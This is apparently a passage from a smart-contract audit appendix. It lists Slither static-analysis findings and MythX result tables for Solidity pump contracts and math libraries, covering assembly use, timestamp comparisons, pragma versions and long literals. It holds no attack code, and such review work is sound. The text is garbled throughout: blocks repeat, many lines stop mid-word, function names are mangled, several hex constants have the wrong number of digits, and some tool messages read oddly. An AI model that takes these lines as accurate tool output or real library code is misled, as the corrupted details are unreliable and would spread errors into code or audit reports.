GeoEmaAndCumSmaPump._readCumulativeReserves(address) (src/pumps/GeoEmaAndCumSmaPump.sol#259-276) uses timestamp for comparisons
Dangerous comparisons:
- i < cumulativeReserves.length (src/pumps/GeoEmaAndCumSmaPump.sol#272)
GeoEmaAndCumSmaPump.readTwoReserves(address,bytes,uint256) (src/pumps/GeoEmaAndCumSmaPump.sol#278-296) uses timestamp for comparison
Dangerous comparisons:
- require(bool,string)(deltaTimestamp != bytes16(0),Well: No time passed) (src/pumps/GeoEmaAndCumSmaPump.sol#289)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#block-timestamp

LibBytes16.storeBytes16(bytes32,bytes16[]) (src/libraries/LibBytes16.sol#19-49) uses assembly
- INLINE ASM (src/libraries/LibBytes16.sol#22-24)
- INLINE ASM (src/libraries/LibBytes16.sol#30-35)
- INLINE ASM (src/libraries/LibBytes16.sol#41-46)
LibBytes16.readBytes16(bytes32,uint256) (src/libraries/LibBytes16.sol#54-87) uses assembly
- INLINE ASM (src/libraries/LibBytes16.sol#60-63)
- INLINE ASM (src/libraries/LibBytes16.sol#74-80)
- INLINE ASM (src/libraries/LibBytes16.sol#82-84)
LibLastReserveBytes.readN(bytes32) (src/libraries/LibLastReserveBytes.sol#13-17) uses assembly
- INLINE ASM (src/libraries/LibLastReserveBytes.sol#14-16)
LibLastReserveBytes.storeLastReserves(bytes32,uint40,bytes16[]) (src/libraries/LibLastReserveBytes.sol#19-62) uses assembly
- INLINE ASM (src/libraries/LibLastReserveBytes.sol#23-25)
- INLINE ASM (src/libraries/LibLastReserveBytes.sol#28-37)
- INLINE ASM (src/libraries/LibLastReserveBytes.sol#43-48)
- INLINE ASM (src/libraries/LibLastReserveBytes.sol#54-59)
LibLastReserveBytes.readLastReserves(bytes32) (src/libraries/LibLastReserveBytes.sol#67-112) uses assembly
- INLINE ASM (src/libraries/LibLastReserveBytes.sol#74-78)
- INLINE ASM (src/libraries/LibLastReserveBytes.sol#82-84)
- INLINE ASM (src/libraries/LibLastReserveBytes.sol#86-88)
- INLINE ASM (src/libraries/LibLastReserveBytes.sol#98-104)
- INLINE ASM (src/libraries/LibLastReserveBytes.sol#106-108)
LibLastReserveBytes.readBytes(bytes32) (src/libraries/LibLastReserveBytes.sol#114-118) uses assembly
- INLINE ASM (src/libraries/LibLastReserveBytes.sol#115-117)
GeoEmaAndCumSmaPump.update(uint256[],bytes) (src/pumps/GeoEmaAndCumSmaPump.sol#63-124) uses assembly
- INLINE ASM (src/pumps/GeoEmaAndCumSmaPump.sol#82-84)
- INLINE ASM (src/pumps/GeoEmaAndCumSmaPump.sol#86-88)

```

```

LibBytes16.storeBytes16(bytes32,bytes16[]) (src/libraries/LibBytes16.sol#19-49) performs a multiplication on the result of a division
- maxI = reserves.length / 2 (src/libraries/LibBytes16.sol#26)
- iByte = maxI * 64 (src/libraries/LibBytes16.sol#40)
LibBytes16.storeBytes16(bytes32,bytes16[]) (src/libraries/LibBytes16.sol#19-49) performs a multiplication on the result of a division
- maxI = reserves.length / 2 (src/libraries/LibBytes16.sol#26)
- sstore(uint256,uint256)(slot + maxI * 32,mload(uint256)(reserves + iByte + 32) + sload(uint256)(slot + maxI) >> 128) (src/libraries/LibBytes16.sol#19-49)
LibBytes16.readBytes16(bytes32,uint256) (src/libraries/LibBytes16.sol#54-87) performs a multiplication on the result of a divisor
- iByte = (i - 1) / 2 * 32 (src/libraries/LibBytes16.sol#72)
LibLastReserveBytes.storeLastReserves(bytes32,uint40,bytes16[]) (src/libraries/LibLastReserveBytes.sol#19-62) performs a multiplication
- maxI = n / 2 (src/libraries/LibLastReserveBytes.sol#39)
- iByte = maxI * 64 (src/libraries/LibLastReserveBytes.sol#53)
LibLastReserveBytes.storeLastReserves(bytes32,uint40,bytes16[]) (src/libraries/LibLastReserveBytes.sol#19-62) performs a multiplication
- maxI = n / 2 (src/libraries/LibLastReserveBytes.sol#39)
- sstore(uint256,uint256)(slot + maxI * 32,mload(uint256)(reserves + iByte + 32) + sload(uint256)(slot + maxI) << 128 >> 1) (src/libraries/LibLastReserveBytes.sol#19-62)
LibLastReserveBytes.readLastReserves(bytes32) (src/libraries/LibLastReserveBytes.sol#67-112) performs a multiplication on the result
- iByte = (i - 1) / 2 * 32 (src/libraries/LibLastReserveBytes.sol#96)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#divide-before-multiply

GeoEmaAndCumSmaPump._capReserve(bytes16,bytes16,bytes16) (src/pumps/GeoEmaAndCumSmaPump.sol#180-199) uses a dangerous strict equality
- minReserve.cmp(reserve) == 1 (src/pumps/GeoEmaAndCumSmaPump.sol#189)
GeoEmaAndCumSmaPump._capReserve(bytes16,bytes16,bytes16) (src/pumps/GeoEmaAndCumSmaPump.sol#180-199) uses a dangerous strict equality
- reserve.cmp(maxReserve) == 1 (src/pumps/GeoEmaAndCumSmaPump.sol#196)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#dangerous-strict-equalities

IWell.wellO.aquifer (src/interfaces/IWell.sol#157) shadows:
- IWell.aquifer() (src/interfaces/IWell.sol#144) (Function)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#local-variable-shadowing

GeoEmaAndCumSmaPump._capReserve(bytes16,bytes16,bytes16) (src/pumps/GeoEmaAndCumSmaPump.sol#180-199) uses timestamp for comparison
Dangerous comparisons:
- minReserve.cmp(reserve) == 1 (src/pumps/GeoEmaAndCumSmaPump.sol#189)
- reserve.cmp(maxReserve) == 1 (src/pumps/GeoEmaAndCumSmaPump.sol#196)
GeoEmaAndCumSmaPump._readCumulativeReserves(address) (src/pumps/GeoEmaAndCumSmaPump.sol#259-276) uses timestamp for comparisons
Dangerous comparisons:
- i < cumulativeReserves.length (src/pumps/GeoEmaAndCumSmaPump.sol#272)
GeoEmaAndCumSmaPump.readTwoReserves(address,bytes,uint256) (src/pumps/GeoEmaAndCumSmaPump.sol#278-296) uses timestamp for comparisons
Dangerous comparisons:
- require(bool,string)(deltaTimestamp != bytes16(0),Well: No time passed) (src/pumps/GeoEmaAndCumSmaPump.sol#289)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#block-timestamp

LibBytes16.storeBytes16(bytes32,bytes16[]) (src/libraries/LibBytes16.sol#19-49) uses assembly
- INLINE ASM (src/libraries/LibBytes16.sol#22-24)
- INLINE ASM (src/libraries/LibBytes16.sol#30-35)
- INLINE ASM (src/libraries/LibBytes16.sol#41-46)
LibBytes16.readBytes16(bytes32,uint256) (src/libraries/LibBytes16.sol#54-87) uses assembly
- INLINE ASM (src/libraries/LibBytes16.sol#60-63)
- INLINE ASM (src/libraries/LibBytes16.sol#74-80)
- INLINE ASM (src/libraries/LibBytes16.sol#82-84)
LibLastReserveBytes.readN(bytes32) (src/libraries/LibLastReserveBytes.sol#13-17) uses assembly
- INLINE ASM (src/libraries/LibLastReserveBytes.sol#14-16)
LibLastReserveBytes.storeLastReserves(bytes32,uint40,bytes16[]) (src/libraries/LibLastReserveBytes.sol#19-62) uses assembly
- INLINE ASM (src/libraries/LibLastReserveBytes.sol#23-25)
- INLINE ASM (src/libraries/LibLastReserveBytes.sol#28-37)
- INLINE ASM (src/libraries/LibLastReserveBytes.sol#43-48)
- INLINE ASM (src/libraries/LibLastReserveBytes.sol#54-59)
LibLastReserveBytes.readLastReserves(bytes32) (src/libraries/LibLastReserveBytes.sol#67-112) uses assembly
- INLINE ASM (src/libraries/LibLastReserveBytes.sol#74-78)
- INLINE ASM (src/libraries/LibLastReserveBytes.sol#82-84)
- INLINE ASM (src/libraries/LibLastReserveBytes.sol#86-88)
- INLINE ASM (src/libraries/LibLastReserveBytes.sol#98-104)
- INLINE ASM (src/libraries/LibLastReserveBytes.sol#106-108)
LibLastReserveBytes.readBytes(bytes32) (src/libraries/LibLastReserveBytes.sol#114-118) uses assembly
- INLINE ASM (src/libraries/LibLastReserveBytes.sol#115-117)
GeoEmaAndCumSmaPump.update(uint256[],bytes) (src/pumps/GeoEmaAndCumSmaPump.sol#63-124) uses assembly
- INLINE ASM (src/pumps/GeoEmaAndCumSmaPump.sol#82-84)
- INLINE ASM (src/pumps/GeoEmaAndCumSmaPump.sol#86-88)

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    - INLINE ASM (src/pumps/GeoEmaAndCumSmaPump.sol#114-116)
    - INLINE ASM (src/pumps/GeoEmaAndCumSmaPump.sol#118-120)
GeoEmaAndCumSmaPump._init(bytes32,uint40,uint256[]) (src/pumps/GeoEmaAndCumSmaPump.sol#130-150) uses assembly
    - INLINE ASM (src/pumps/GeoEmaAndCumSmaPump.sol#146-148)
GeoEmaAndCumSmaPump._readLastInstantaneousReserves(address) (src/pumps/GeoEmaAndCumSmaPump.sol#203-216) uses assembly
    - INLINE ASM (src/pumps/GeoEmaAndCumSmaPump.sol#207-209)
GeoEmaAndCumSmaPump._readInstantaneousReserves(address) (src/pumps/GeoEmaAndCumSmaPump.sol#218-237) uses assembly
    - INLINE ASM (src/pumps/GeoEmaAndCumSmaPump.sol#223-225)
GeoEmaAndCumSmaPump._readLastCumulativeReserves(address) (src/pumps/GeoEmaAndCumSmaPump.sol#244-252) uses assembly
    - INLINE ASM (src/pumps/GeoEmaAndCumSmaPump.sol#248-250)
GeoEmaAndCumSmaPump._readCumulativeReserves(address) (src/pumps/GeoEmaAndCumSmaPump.sol#259-276) uses assembly
    - INLINE ASM (src/pumps/GeoEmaAndCumSmaPump.sol#264-266)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#assembly-usage

Different versions of Solidity are used:
    - Version used: ['^0.8.17', '^0.8.0', '<0.8.17']
    - ^0.8.17 (src/interfaces/pumps/ICumulativePump.sol#3)
    - =0.8.17 (src/interfaces/pumps/IInstantaneousPump.sol#3)
    - =0.8.17 (src/interfaces/pumps/IPump.sol#3)
    - ABIEncoderV2 (src/interfaces/pumps/ICumulativePump.sol#4)
    - ABIEncoderV2 (src/interfaces/pumps/IInstantaneousPump.sol#4)
    - ABIEncoderV2 (src/interfaces/pumps/IPump.sol#4)
    - ^0.8.0 (lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol#4)
    - ^0.8.0 (lib/openzeppelin-contracts/contracts/utils/math/SafeCast.sol#5)
    - ^0.8.0 (src/libraries/ABDKMathQuad.sol#6)
    - ^0.8.17 (src/interfaces/IWell.sol#3)
    - ^0.8.17 (src/libraries/LibBytes16.sol#3)
    - ^0.8.17 (src/libraries/LibLastReserveBytes.sol#3)
    - ^0.8.17 (src/pumps/GeoEmaAndCumSmaPump.sol#3)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#different-pragma-directives-are-used

ABDKMathQuad.abs(bytes16) (src/libraries/ABDKMathQuad.sol#984-988) is never used and should be removed
ABDKMathQuad.eq(bytes16,bytes16) (src/libraries/ABDKMathQuad.sol#594-602) is never used and should be removed
ABDKMathQuad.exp(bytes16) (src/libraries/ABDKMathQuad.sol#2028-2032) is never used and should be removed
ABDKMathQuad.from128x128(int256) (src/libraries/ABDKMathQuad.sol#240-258) is never used and should be removed
ABDKMathQuad.from64x64(int128) (src/libraries/ABDKMathQuad.sol#297-315) is never used and should be removed
ABDKMathQuad.fromDouble(bytes8) (src/libraries/ABDKMathQuad.sol#426-453) is never used and should be removed
ABDKMathQuad.fromInt(int256) (src/libraries/ABDKMathQuad.sol#51-69) is never used and should be removed
ABDKMathQuad.fromOctuple(bytes32) (src/libraries/ABDKMathQuad.sol#353-383) is never used and should be removed
ABDKMathQuad.isInfinity(bytes16) (src/libraries/ABDKMathQuad.sol#523-527) is never used and should be removed
ABDKMathQuadisNaN(bytes16) (src/libraries/ABDKMathQuad.sol#510-514) is never used and should be removed
ABDKMathQuad.ln(bytes16) (src/libraries/ABDKMathQuad.sol#1129-1133) is never used and should be removed
ABDKMathQuad.neg(bytes16) (src/libraries/ABDKMathQuad.sol#972-976) is never used and should be removed
ABDKMathQuad.pow_2(bytes16) (src/libraries/ABDKMathQuad.sol#1141-1572) is never used and should be removed
ABDKMathQuad.sign(bytes16) (src/libraries/ABDKMathQuad.sol#536-546) is never used and should be removed
ABDKMathQuad.sqrt(bytes16) (src/libraries/ABDKMathQuad.sol#996-1049) is never used and should be removed
ABDKMathQuad.to128x128(bytes16) (src/libraries/ABDKMathQuad.sol#267-288) is never used and should be removed
ABDKMathQuad.to64x64(bytes16) (src/libraries/ABDKMathQuad.sol#324-345) is never used and should be removed
ABDKMathQuad.toDouble(bytes16) (src/libraries/ABDKMathQuad.sol#461-502) is never used and should be removed
ABDKMathQuad.toInt(bytes16) (src/libraries/ABDKMathQuad.sol#78-99) is never used and should be removed
ABDKMathQuad.toOctuple(bytes16) (src/libraries/ABDKMathQuad.sol#391-418) is never used and should be removed
LibLastReserveBytes.readBytes(bytes32) (src/libraries/LibLastReserveBytes.sol#114-118) is never used and should be removed
SafeCast.toInt104(int256) (lib/openzeppelin-contracts/contracts/utils/math/SafeCast.sol#901-904) is never used and should be remo
SafeCast.toInt112(int256) (lib/openzeppelin-contracts/contracts/utils/math/SafeCast.sol#883-886) is never used and should be remo
SafeCast.toInt120(int256) (lib/openzeppelin-contracts/contracts/utils/math/SafeCast.sol#865-868) is never used and should be remo
SafeCast.toInt128(int256) (lib/openzeppelin-contracts/contracts/utils/math/SafeCast.sol#847-850) is never used and should be remo
SafeCast.toInt136(int256) (lib/openzeppelin-contracts/contracts/utils/math/SafeCast.sol#829-832) is never used and should be remo
SafeCast.toInt144(int256) (lib/openzeppelin-contracts/contracts/utils/math/SafeCast.sol#811-814) is never used and should be remo
SafeCast.toInt152(int256) (lib/openzeppelin-contracts/contracts/utils/math/SafeCast.sol#793-796) is never used and should be remo
SafeCast.toInt16(int256) (lib/openzeppelin-contracts/contracts/utils/math/SafeCast.sol#1099-1102) is never used and should be rem

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Pragma version^0.8.0 (lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol#4) allows old versions
Pragma version^0.8.0 (lib/openzeppelin-contracts/contracts/utils/math/SafeCast.sol#5) allows old versions
Pragma version^0.8.17 (src/interfaces/IWell.sol#3) necessitates a version too recent to be trusted. Consider deploying with 0.6.1
Pragma version^0.8.17 (src/interfaces/pumps/ICumulativePump.sol#3) necessitates a version too recent to be trusted. Consider deploy
Pragma version^0.8.17 (src/interfaces/pumps/IInstantaneousPump.sol#3) necessitates a version too recent to be trusted. Consider d
Pragma version^0.8.0 (src/libraries/ABDKMathQuad.sol#6) allows old versions
Pragma version^0.8.17 (src/libraries/LibBytes16.sol#3) necessitates a version too recent to be trusted. Consider deploying with 0
Pragma version^0.8.17 (src/libraries/LibLastReserveBytes.sol#3) necessitates a version too recent to be trusted. Consider deploy
Pragma version^0.8.17 (src/pumps/GeoEmaAndCumSmaPump.sol#3) necessitates a version too recent to be trusted. Consider deploying w
solv-0.8.17 is not recommended for deployment
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-versions-of-solidity

Function ABDKMathQuad.log_2(bytes16) (src/libraries/ABDKMathQuad.sol#1057-1121) is not in mixedCase
Function ABDKMathQuad.pow_2(bytes16) (src/libraries/ABDKMathQuad.sol#1141-1572) is not in mixedCase
Function ABDKMathQuad.pow_2ToInt(bytes16) (src/libraries/ABDKMathQuad.sol#1574-2020) is not in mixedCase
Constant ABDKMathQuad.Nah (src/libraries/ABDKMathQuad.sol#38) is not in UPPER_CASE_WITH_UNDERSCORES
Variable GeoEmaAndCumSmaPump.LOG_MAX_INCREASE (src/pumps/GeoEmaAndCumSmaPump.sol#35) is not in mixedCase
Variable GeoEmaAndCumSmaPump.LOG_MAX_DECREASE (src/pumps/GeoEmaAndCumSmaPump.sol#36) is not in mixedCase
Variable GeoEmaAndCumSmaPump.A (src/pumps/GeoEmaAndCumSmaPump.sol#37) is not in mixedCase
Variable GeoEmaAndCumSmaPump.BLOCK_TIME (src/pumps/GeoEmaAndCumSmaPump.sol#38) is not in mixedCase
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#conformance-to-solidity-naming-conventions

ABDKMathQuad.fromInt(int256) (src/libraries/ABDKMathQuad.sol#51-69) uses literals with too many digits:
- result != 0x80000000000000000000000000000000 (src/libraries/ABDKMathQuad.sol#64)
ABDKMathQuad.toInt(bytes16) (src/libraries/ABDKMathQuad.sol#78-99) uses literals with too many digits:
- result = uint256(uint128(x)) & 0xFFFFFFFFFFFFFFFFFFFFFF | 0x10000000000000000000000000000000 (src/libraries/ABDKMath
ABDKMathQuad.toInt(int256) (src/libraries/ABDKMathQuad.sol#78-99) uses literals with too many digits:
- uint128(x) >= 0x80000000000000000000000000000000 (src/libraries/ABDKMathQuad.sol#90)
ABDKMathQuad.toInt(bytes16) (src/libraries/ABDKMathQuad.sol#78-99) uses literals with too many digits:
- require(bool)(result <= 0x80000000000000000000000000000000) (src/libraries/ABDKMathQuad
ABDKMathQuad.fromUIntToInt256) (src/libraries/ABDKMathQuad.sol#107-186) uses literals with too many digits:
- uint128(result) > 0x80000000000000000000000000000000 (src/libraries/ABDKMathQuad.sol#123)
ABDKMathQuad.fromUIntToInt256) (src/libraries/ABDKMathQuad.sol#107-186) uses literals with too many digits:
- bytes16(uint128(result)) == 0x3FF00000000000000000000000000000 (src/libraries/ABDKMathQuad.sol#125)
ABDKMathQuad.fromUIntToInt256) (src/libraries/ABDKMathQuad.sol#107-186) uses literals with too many digits:
- xSignifier != 0x10000000000000000000000000000000 (src/libraries/ABDKMathQuad.sol#134)
ABDKMathQuad.fromUIntToInt256) (src/libraries/ABDKMathQuad.sol#107-186) uses literals with too many digits:
- xSignifier >= 0x10000000000000000000000000000000 (src/libraries/ABDKMathQuad.sol#148)
ABDKMathQuad.fromUIntToInt256) (src/libraries/ABDKMathQuad.sol#107-186) uses literals with too many digits:
- xSignifier == 0x80000000000000000000000000000000 (src/libraries/ABDKMathQuad.sol#158)
ABDKMathQuad.fromUIntToInt256) (src/libraries/ABDKMathQuad.sol#107-186) uses literals with too many digits:
- resultSignifier < 0x10000000000000000000000000000000 (src/libraries/ABDKMathQuad.sol#165)
ABDKMathQuad.fromUIntToInt256) (src/libraries/ABDKMathQuad.sol#107-186) uses literals with too many digits:
- bytes16(uint128(0x80000000000000000000000000000000 | resultExponent << 112 | resultSignifier & 0xFFFFFFFFFFFF
ABDKMathQuad.toInt(bytes16) (src/libraries/ABDKMathQuad.sol#215-231) uses literals with too many digits:
- require(bool)(uint128(x) < 0x80000000000000000000000000000000) (src/libraries/ABDKMathQuad.sol#221)
ABDKMathQuad.toInt(bytes16) (src/libraries/ABDKMathQuad.sol#215-231) uses literals with too many digits:
- result = uint256(uint128(x)) & 0xFFFFFFFFFFFFFFFFFFFFFF | 0x10000000000000000000000000000000 (src/libraries/ABDKMath
ABDKMathQuad.from28x28(int256) (src/libraries/ABDKMathQuad.sol#240-258) uses literals with too many digits:
- result != 0x80000000000000000000000000000000 (src/libraries/ABDKMathQuad.sol#253)
ABDKMathQuad.to128x128(bytes16) (src/libraries/ABDKMathQuad.sol#267-288) uses literals with too many digits:
- result = uint256(uint128(x)) & 0xFFFFFFFFFFFFFFFFFFFFFF | 0x10000000000000000000000000000000 (src/libraries/ABDKMath
ABDKMathQuad.to128x128(bytes16) (src/libraries/ABDKMathQuad.sol#267-288) uses literals with too many digits:
- uint128(x) >= 0x80000000000000000000000000000000 (src/libraries/ABDKMathQuad.sol#279)
ABDKMathQuad.to128x128(bytes16) (src/libraries/ABDKMathQuad.sol#267-288) uses literals with too many digits:
- require(bool)(result <= 0x80000000000000000000000000000000) (src/libraries/ABDKMathQuad
ABDKMathQuad.from64x64(int128) (src/libraries/ABDKMathQuad.sol#297-315) uses literals with too many digits:
- result != 0x80000000000000000000000000000000 (src/libraries/ABDKMathQuad.sol#310)

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ABDKMathQuad.to64x64(bytes16) (src/libraries/ABDKMathQuad.sol#324-345) uses literals with too many digits:
  - result = uint256(uint128(x)) & 0xFFFFFFFFFFFFFFFFFFFFFF | 0x10000000000000000000000000000000 (src/libraries/ABDKMathQuad.sol#324-345)
ABDKMathQuad.to64x64(bytes16) (src/libraries/ABDKMathQuad.sol#324-345) uses literals with too many digits:
  - uint128(x) >= 0x80000000000000000000000000000000 (src/libraries/ABDKMathQuad.sol#336)
ABDKMathQuad.to64x64(bytes16) (src/libraries/ABDKMathQuad.sol#324-345) uses literals with too many digits:
  - require(bool)(result <= 0x80000000000000000000000000000000) (src/libraries/ABDKMathQuad.sol#338)
ABDKMathQuad.fromOctuple(bytes32) (src/libraries/ABDKMathQuad.sol#353-383) uses literals with too many digits:
  - negative = x & 0x80000000000000000000000000000000 > 0 (src/libraries/ABDKMathQuad.sol#353-383)
ABDKMathQuad.fromOctuple(bytes32) (src/libraries/ABDKMathQuad.sol#353-383) uses literals with too many digits:
  - significand = (significand | 0x1000000000000000000000000000000000000000000000000000000000000000) >> 245_885 - exponent (src/libraries/ABDKMathQuad.sol#353-383)
ABDKMathQuad.fromOctuple(bytes32) (src/libraries/ABDKMathQuad.sol#353-383) uses literals with too many digits:
  - result |= 0x80000000000000000000000000000000 (src/libraries/ABDKMathQuad.sol#379)
ABDKMathQuad.toOctuple(bytes16) (src/libraries/ABDKMathQuad.sol#391-418) uses literals with too many digits:
  - uint128(x) >= 0x80000000000000000000000000000000 (src/libraries/ABDKMathQuad.sol#412)
ABDKMathQuad.toOctuple(bytes16) (src/libraries/ABDKMathQuad.sol#391-418) uses literals with too many digits:
  - result |= 0x80000000000000000000000000000000 (src/libraries/ABDKMathQuad.sol#413)
ABDKMathQuad.fromDouble(bytes8) (src/libraries/ABDKMathQuad.sol#426-453) uses literals with too many digits:
  - x & 0x8000000000000000 > 0 (src/libraries/ABDKMathQuad.sol#447)
ABDKMathQuad.fromDouble(bytes8) (src/libraries/ABDKMathQuad.sol#426-453) uses literals with too many digits:
  - result |= 0x80000000000000000000000000000000 (src/libraries/ABDKMathQuad.sol#448)
ABDKMathQuad.toDouble(bytes16) (src/libraries/ABDKMathQuad.sol#461-502) uses literals with too many digits:
  - negative = uint128(x) >= 0x8000000000000000 (src/libraries/ABDKMathQuad.sol#463)
ABDKMathQuad.toDouble(bytes16) (src/libraries/ABDKMathQuad.sol#461-502) uses literals with too many digits:
  - 0x7FF8000000000000 (src/libraries/ABDKMathQuad.sol#470)
ABDKMathQuad.toDouble(bytes16) (src/libraries/ABDKMathQuad.sol#461-502) uses literals with too many digits:
  - significand = (significand | 0x10000000000000000000000000000000) >> 15_421 - exponent (src/libraries/ABDKMathQuad.sol#490)
ABDKMathQuad.toDouble(bytes16) (src/libraries/ABDKMathQuad.sol#461-502) uses literals with too many digits:
  - result |= 0x8000000000000000 (src/libraries/ABDKMathQuad.sol#498)
ABDKMathQuad.toDouble(bytes16) (src/libraries/ABDKMathQuad.sol#461-502) uses literals with too many digits:
  - bytes8(0xFFFF000000000000) (src/libraries/ABDKMathQuad.sol#473-475)
ABDKMathQuad.toDouble(bytes16) (src/libraries/ABDKMathQuad.sol#461-502) uses literals with too many digits:
  - bytes8(0x7FF000000000000) (src/libraries/ABDKMathQuad.sol#473-475)
ABDKMathQuad.toDouble(bytes16) (src/libraries/ABDKMathQuad.sol#461-502) uses literals with too many digits:
  - bytes8(0xFFFF000000000000) (src/libraries/ABDKMathQuad.sol#480-482)
ABDKMathQuad.toDouble(bytes16) (src/libraries/ABDKMathQuad.sol#461-502) uses literals with too many digits:
  - bytes8(0x7FF000000000000) (src/libraries/ABDKMathQuad.sol#480-482)
ABDKMathQuad.toDouble(bytes16) (src/libraries/ABDKMathQuad.sol#461-502) uses literals with too many digits:
  - bytes8(0x8000000000000000) (src/libraries/ABDKMathQuad.sol#485-487)
ABDKMathQuad.toDouble(bytes16) (src/libraries/ABDKMathQuad.sol#461-502) uses literals with too many digits:
  - bytes8(0x0000000000000000) (src/libraries/ABDKMathQuad.sol#485-487)
ABDKMathQuad.isNaN(bytes16) (src/libraries/ABDKMathQuad.sol#510-514) uses literals with too many digits:
  - uint128(x) & 0x7FFFFFFFFFFFFFFFFFFF > 0x7FF000000000000000000000000000000 (src/libraries/ABDKMathQuad.sol#510-514)
ABDKMathQuad.isnan(bytes16) (src/libraries/ABDKMathQuad.sol#523-527) uses literals with too many digits:
  - uint128(x) & 0x7FFFFFFFFFFFFFFFFFFF == 0x7FF000000000000000000000000000000 (src/libraries/ABDKMathQuad.sol#523-527)
ABDKMathQuad.sign(bytes16) (src/libraries/ABDKMathQuad.sol#536-546) uses literals with too many digits:
  - require(bool)(absoluteX <= 0x7FF00000000000000000000000000000) (src/libraries/ABDKMathQuad.sol#540)
ABDKMathQuad.sign(bytes16) (src/libraries/ABDKMathQuad.sol#536-546) uses literals with too many digits:
  - uint128(x) >= 0x80000000000000000000000000000000 (src/libraries/ABDKMathQuad.sol#543)
ABDKMathQuad.cmp(bytes16,bytes16) (src/libraries/ABDKMathQuad.sol#556-584) uses literals with too many digits:
  - require(bool)(absoluteX <= 0x7FF00000000000000000000000000000) (src/libraries/ABDKMathQuad.sol#560)
ABDKMathQuad.cmp(bytes16,bytes16) (src/libraries/ABDKMathQuad.sol#556-584) uses literals with too many digits:
  - require(bool)(absoluteY <= 0x7FF00000000000000000000000000000) (src/libraries/ABDKMathQuad.sol#564)
ABDKMathQuad.cmp(bytes16,bytes16) (src/libraries/ABDKMathQuad.sol#556-584) uses literals with too many digits:
  - require(bool)(x != y || absoluteX < 0x7FF00000000000000000000000000000) (src/libraries/ABDKMathQuad.sol#567)
ABDKMathQuad.cmp(bytes16,bytes16) (src/libraries/ABDKMathQuad.sol#556-584) uses literals with too many digits:
  - negativeX = uint128(x) >= 0x80000000000000000000000000000000 (src/libraries/ABDKMathQuad.sol#572)
ABDKMathQuad.cmp(bytes16,bytes16) (src/libraries/ABDKMathQuad.sol#556-584) uses literals with too many digits:
  - negativeY = uint128(y) >= 0x80000000000000000000000000000000 (src/libraries/ABDKMathQuad.sol#573)
```













- As a result of the tests carried out with the Slither tool, some results were obtained and reviewed by Halborn. Based on the results reviewed, some vulnerabilities were determined to be false positives.

## MythX Results:

Report for src/Auger.sol

<https://dashboard.mythx.io/#/console/analyses/95975b27-a2be-4199-9a84-7fff121aec93>

| Line | SWC Title                      | Severity | Short Description         |
|------|--------------------------------|----------|---------------------------|
| 3    | (SWC-103) FloatingPragma       | Low      | A floating pragma is set. |
| 23   | (SWC-123) RequirementViolation | Low      | Requirement violation.    |

Report for src/utils/ImmutablePumps.sol

<https://dashboard.mythx.io/#/console/analyses/8467af85-53bb-41c2-b5e2-54ee18b934e3>

| Line | SWC Title                | Severity | Short Description         |
|------|--------------------------|----------|---------------------------|
| 5    | (SWC-103) FloatingPragma | Low      | A floating pragma is set. |

Report for src/utils/ImmutableTokens.sol

<https://dashboard.mythx.io/#/console/analyses/b8ca2d6e-09de-4adf-9da2-b4e1ebac1ce>

| Line | SWC Title                | Severity | Short Description         |
|------|--------------------------|----------|---------------------------|
| 5    | (SWC-103) FloatingPragma | Low      | A floating pragma is set. |

Report for src/libraries/LibBytes.sol  
<https://dashboard.mythx.io/#/console/analyses/c76a463c-fd75-43eb-9610-208995ce182b>

| Line | SWC Title                                | Severity | Short Description                           |
|------|--|----------|---|
| 17   | (SWC-101) Integer Overflow and Underflow | Unknown  | Arithmetic operation "*" discovered         |
| 36   | (SWC-110) Assert Violation               | Unknown  | Out of bounds array access                  |
| 37   | (SWC-110) Assert Violation               | Unknown  | Out of bounds array access                  |
| 49   | (SWC-101) Integer Overflow and Underflow | Unknown  | Arithmetic operation "/" discovered         |
| 51   | (SWC-101) Integer Overflow and Underflow | Unknown  | Arithmetic operation "++" discovered        |
| 52   | (SWC-101) Integer Overflow and Underflow | Unknown  | Arithmetic operation "*" discovered         |
| 52   | (SWC-110) Assert Violation               | Unknown  | Out of bounds array access                  |
| 53   | (SWC-110) Assert Violation               | Unknown  | Out of bounds array access                  |
| 53   | (SWC-101) Integer Overflow and Underflow | Unknown  | Arithmetic operation "*" discovered         |
| 53   | (SWC-101) Integer Overflow and Underflow | Unknown  | Arithmetic operation "+" discovered         |
| 54   | (SWC-101) Integer Overflow and Underflow | Unknown  | Arithmetic operation "*" discovered         |
| 70   | (SWC-101) Integer Overflow and Underflow | Unknown  | Arithmetic operation "%" discovered         |
| 71   | (SWC-101) Integer Overflow and Underflow | Unknown  | Compiler-rewritable "<uint> - 1" discovered |
| 71   | (SWC-110) Assert Violation               | Unknown  | Out of bounds array access                  |
| 71   | (SWC-101) Integer Overflow and Underflow | Unknown  | Arithmetic operation "-" discovered         |
| 72   | (SWC-101) Integer Overflow and Underflow | Unknown  | Arithmetic operation "*" discovered         |
| 103  | (SWC-101) Integer Overflow and Underflow | Unknown  | Arithmetic operation "++" discovered        |
| 107  | (SWC-101) Integer Overflow and Underflow | Unknown  | Compiler-rewritable "<uint> - 1" discovered |
| 107  | (SWC-101) Integer Overflow and Underflow | Unknown  | Arithmetic operation "/" discovered         |
| 107  | (SWC-101) Integer Overflow and Underflow | Unknown  | Arithmetic operation "*" discovered         |
| 107  | (SWC-101) Integer Overflow and Underflow | Unknown  | Arithmetic operation "-" discovered         |
| 108  | (SWC-101) Integer Overflow and Underflow | Unknown  | Arithmetic operation "%" discovered         |

Report for src/utils/ImmutableWellFunction.sol  
<https://dashboard.mythx.io/#/console/analyses/c76a463c-fd75-43eb-9610-208995ce182b>

| Line | SWC Title                                | Severity | Short Description                           |
|------|--|----------|---|
| 5    | (SWC-103) Floating Pragma                | Low      | A floating pragma is set.                   |
| 20   | (SWC-101) Integer Overflow and Underflow | Unknown  | Arithmetic operation "*" discovered         |
| 115  | (SWC-101) Integer Overflow and Underflow | Unknown  | Compiler-rewritable "<uint> - 1" discovered |
| 115  | (SWC-101) Integer Overflow and Underflow | Unknown  | Arithmetic operation "-" discovered         |
